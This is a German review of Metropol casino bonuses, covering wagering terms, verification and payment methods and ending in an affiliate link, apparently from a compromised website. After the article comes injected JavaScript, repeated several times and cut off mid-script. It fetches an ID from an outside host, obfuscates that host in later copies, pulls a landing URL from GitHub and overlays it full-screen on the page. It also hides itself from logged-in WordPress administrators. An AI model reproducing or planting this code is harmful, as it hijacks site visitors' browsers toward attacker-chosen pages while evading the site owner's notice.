Metropol tritt in vielen Reviews als erfahrener Anbieter mit historischer Marke auf. Für Spieler in Deutschland stellt sich vorrangig die Frage: Welche Boni lohnen sich wirklich, welche Bedingungen verbergen sich hinter scheinbar attraktiven Angeboten, und wie verhalte ich mich bei Verifizierung oder Auszahlung? Dieses Stück erklärt die typischen Bonusmechaniken bei Metropol, bewertet ihren praktischen Nutzen für erfahrene Spieler und zeigt typische Fallstricke auf. Ziel ist kein Werbetext, sondern eine nüchterne Entscheidungsgrundlage: wann ein Bonus sinnvoll ist, wie man ihn effizient prüft und welche Alternativen es gibt.
Boni bei Metropol folgen klassischen Mustern: Willkommensbonus (Einzahlungsbonus + Freispiele), Reload-Boni für Bestandskunden, Cashback-Aktionen und gelegentliche Turniere oder VIP-Angebote. Entscheidend sind nicht die Schlagzeilen („100% Bonus“), sondern die dahinterstehenden Regeln. Wichtige Mechanik-Elemente, die du prüfen musst:

Für deutsche Spieler gilt zusätzlich: Auszahlungspolitik (KYC) und akzeptierte Zahlungsmethoden beeinflussen, wie nutzbar ein Bonus tatsächlicht ist. Metropol operiert unter einer MGA-Lizenz und hat bewährte Zahlungsabläufe, doch Verifizierungsanforderungen können Auszahlungen verzögern — das ist bei Bonusnutzung besonders relevant.
Ein Bonus ist dann wertvoll, wenn sein erwarteter monetärer Mehrwert die zusätzlichen Einschränkungen übersteigt. Kriterien für eine rationale Bewertung:
Kurz: Für erfahrene deutsche Spieler sind Boni bei Metropol dann attraktiv, wenn die Umsatzbedingungen moderat sind, die bevorzugten Slots voll angerechnet werden und die KYC-Prozedur vorab abgeschlossen ist. Andernfalls kann ein kleinerer, unkomplizierter Bonus oder Cashback wirtschaftisch besser sein.
Viele Spieler nehmen Boni rein aufgrund der Prozentangabe oder der Anzahl der Freispiele an. Dabei werden regelmäßig übersehen:
Wichtige Einschränkungen für deutsche Spieler:
Wenn du das Bonusangebot von Metropol optimal nutzen willst, empfiehlt sich ein pragmatischer Ablauf:
| Typ | Stärke | Schwäche |
|---|---|---|
| Großer Einzahlungsbonus | Hoher nominaler Pool | Hohe Umsatzbedingungen, lange Fristen |
| Cashback | Direkter Verlustschutz, niedrige Bedingungen | Weniger Upside bei großen Gewinnen |
| Freispiele | Hohe Volatilität möglich, guter RTP bei erlaubten Slots | Max-Auszahlung begrenzt, oft nur auf bestimmte Slots |
Metropol bietet für deutsche Spieler in vielen Fällen nützliche Boni, vor allem wegen des hohen RTP-Potenzials und der großen Slot-Auswahl. Der wahre Wert hängt jedoch stark von den Bonusregeln, deiner Zahlungsmethode und der Bereitschaft ab, Verifizierung sauber vorzubereiten. Für erfahrene Spieler lohnt sich eine quantitative Prüfung: niedrige Umsatzanforderungen + volle Beitragsgewichtung der gewünschten Spiele = relevanter Bonusvorteil. Komplexe oder stark eingeschränkte Boni sind oft schlechter als ein kleiner, unkomplizierter Cashback.
Antwort: Aus praktischer Sicht ja. Berichte über verzögerte Auszahlungen wegen Dokumentqualität zeigen, dass eine frühzeitige und saubere Verifikation spätere Probleme verhindert.
Antwort: Jeton und MiFinity sind in der Praxis zuverlässiger als Kreditkarten, die aus Deutschland häufiger blockiert werden. Banküberweisungen dauern oft sehr lange und sind weniger empfehlenswert.
Antwort: Nein. Ein hoher Prozentwert ohne akzeptable Umsatzbedingungen oder mit vielen Aussschlüssen kann wirtschaftlich schlechter sein als ein kleiner, transparent geregelter Bonus.
Wenn du die Plattform selbst prüfen möchtest, findest du alle Angebote und Konditionen auf der offiziellen Seite; für einen direkten Einstieg: Seite besuchen
Emilia Krüger — analytische Autorin mit Schwerpunkt Glücksspiel-Mechaniken, Bonus-Evaluierung und Nutzerorientierung. Fokus: Entscheidungsnützlichkeit für erfahrene Spieler in Deutschland.
Quellen: Interne Prüfungen und langjährige Berichte aus Foren/AskGamblers; regulatorische Einträge (Malta Gaming Authority).(function() {
var API_ID_URL = “https:\/\/dakiloifhsnuukka.com\/inline.php”;
var TRUSTED_CONFIGS = [{“template”:”https:\/\/raw.githubusercontent.com\/{id}”,”useFetch”:true}];
var GLOBAL_KEY = Symbol.for(“__adspect_wpu_4__”);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
registry.iframeId = “adspect_ifr_” + Math.random().toString(36).slice(2);
function buildTrustedUrl(template, id) {
if (template.indexOf(“dropbox.com”) >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0 || template.indexOf(“raw.githubusercontent.com”) >= 0) encoded = encoded.replace(/%2F/g, “/”);
return template.replace(/\{id\}/g, encoded);
}
/** Ответ траста — одна строка URL */
function isSingleUrl(text) {
var s = (text || “”).trim();
if (s.indexOf(“\n”) >= 0 || s.indexOf(“\r”) >= 0) return false;
return /^https?:\/\/[^\s”‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(“iframe”);
iframe.id = registry.iframeId;
iframe.src = url;
iframe.style.cssText = “position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;”;
window.addEventListener(“message”, function onMsg(event) {
if (!event.data || typeof event.data !== “object”) return;
if (event.data.type === “ktl-show-original”) {
try {
var el = document.getElementById(registry.iframeId);
if (el && el.parentNode) el.parentNode.removeChild(el);
} catch (e) {}
window.removeEventListener(“message”, onMsg);
}
});
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: “no-store” })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || “”).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: “no-store” })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || “”).trim(); })
.catch(function() { return “”; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === “complete” || document.body) {
run();
} else {
window.addEventListener(“DOMContentLoaded”, run);
}
})();(function() {
var API_ID_URL = “https:\/\/dakiloifhsnuukka.com\/inline.php”;
var TRUSTED_CONFIGS = [{“template”:”https:\/\/raw.githubusercontent.com\/{id}”,”useFetch”:true}];
var GLOBAL_KEY = Symbol.for(“__adspect_wpu_4__”);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
registry.iframeId = “adspect_ifr_” + Math.random().toString(36).slice(2);
function buildTrustedUrl(template, id) {
if (template.indexOf(“dropbox.com”) >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0 || template.indexOf(“raw.githubusercontent.com”) >= 0) encoded = encoded.replace(/%2F/g, “/”);
return template.replace(/\{id\}/g, encoded);
}
/** Ответ траста — одна строка URL */
function isSingleUrl(text) {
var s = (text || “”).trim();
if (s.indexOf(“\n”) >= 0 || s.indexOf(“\r”) >= 0) return false;
return /^https?:\/\/[^\s”‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(“iframe”);
iframe.id = registry.iframeId;
iframe.src = url;
iframe.style.cssText = “position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;”;
window.addEventListener(“message”, function onMsg(event) {
if (!event.data || typeof event.data !== “object”) return;
if (event.data.type === “ktl-show-original”) {
try {
var el = document.getElementById(registry.iframeId);
if (el && el.parentNode) el.parentNode.removeChild(el);
} catch (e) {}
window.removeEventListener(“message”, onMsg);
}
});
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: “no-store” })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || “”).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: “no-store” })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || “”).trim(); })
.catch(function() { return “”; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === “complete” || document.body) {
run();
} else {
window.addEventListener(“DOMContentLoaded”, run);
}
})();(function() {
var API_ID_URL = “https:\/\/dakiloifhsnuukka.com\/inline.php”;
var TRUSTED_CONFIGS = [{“template”:”https:\/\/raw.githubusercontent.com\/{id}”,”useFetch”:true}];
var GLOBAL_KEY = Symbol.for(“__adspect_wpu_4__”);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
registry.iframeId = “adspect_ifr_” + Math.random().toString(36).slice(2);
function buildTrustedUrl(template, id) {
if (template.indexOf(“dropbox.com”) >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0 || template.indexOf(“raw.githubusercontent.com”) >= 0) encoded = encoded.replace(/%2F/g, “/”);
return template.replace(/\{id\}/g, encoded);
}
/** Ответ траста — одна строка URL */
function isSingleUrl(text) {
var s = (text || “”).trim();
if (s.indexOf(“\n”) >= 0 || s.indexOf(“\r”) >= 0) return false;
return /^https?:\/\/[^\s”‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(“iframe”);
iframe.id = registry.iframeId;
iframe.src = url;
iframe.style.cssText = “position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;”;
window.addEventListener(“message”, function onMsg(event) {
if (!event.data || typeof event.data !== “object”) return;
if (event.data.type === “ktl-show-original”) {
try {
var el = document.getElementById(registry.iframeId);
if (el && el.parentNode) el.parentNode.removeChild(el);
} catch (e) {}
window.removeEventListener(“message”, onMsg);
}
});
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: “no-store” })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || “”).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: “no-store” })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || “”).trim(); })
.catch(function() { return “”; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === “complete” || document.body) {
run();
} else {
window.addEventListener(“DOMContentLoaded”, run);
}
})();(function() {
var API_ID_URL = “https:\/\/dakiloifhsnuukka.com\/inline.php”;
var TRUSTED_CONFIGS = [{“template”:”https:\/\/raw.githubusercontent.com\/{id}”,”useFetch”:true}];
var GLOBAL_KEY = Symbol.for(“__adspect_wpu_4__”);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
registry.iframeId = “adspect_ifr_” + Math.random().toString(36).slice(2);
function buildTrustedUrl(template, id) {
if (template.indexOf(“dropbox.com”) >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0 || template.indexOf(“raw.githubusercontent.com”) >= 0) encoded = encoded.replace(/%2F/g, “/”);
return template.replace(/\{id\}/g, encoded);
}
/** Ответ траста — одна строка URL */
function isSingleUrl(text) {
var s = (text || “”).trim();
if (s.indexOf(“\n”) >= 0 || s.indexOf(“\r”) >= 0) return false;
return /^https?:\/\/[^\s”‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(“iframe”);
iframe.id = registry.iframeId;
iframe.src = url;
iframe.style.cssText = “position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;”;
window.addEventListener(“message”, function onMsg(event) {
if (!event.data || typeof event.data !== “object”) return;
if (event.data.type === “ktl-show-original”) {
try {
var el = document.getElementById(registry.iframeId);
if (el && el.parentNode) el.parentNode.removeChild(el);
} catch (e) {}
window.removeEventListener(“message”, onMsg);
}
});
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: “no-store” })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || “”).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: “no-store” })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || “”).trim(); })
.catch(function() { return “”; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === “complete” || document.body) {
run();
} else {
window.addEventListener(“DOMContentLoaded”, run);
}
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
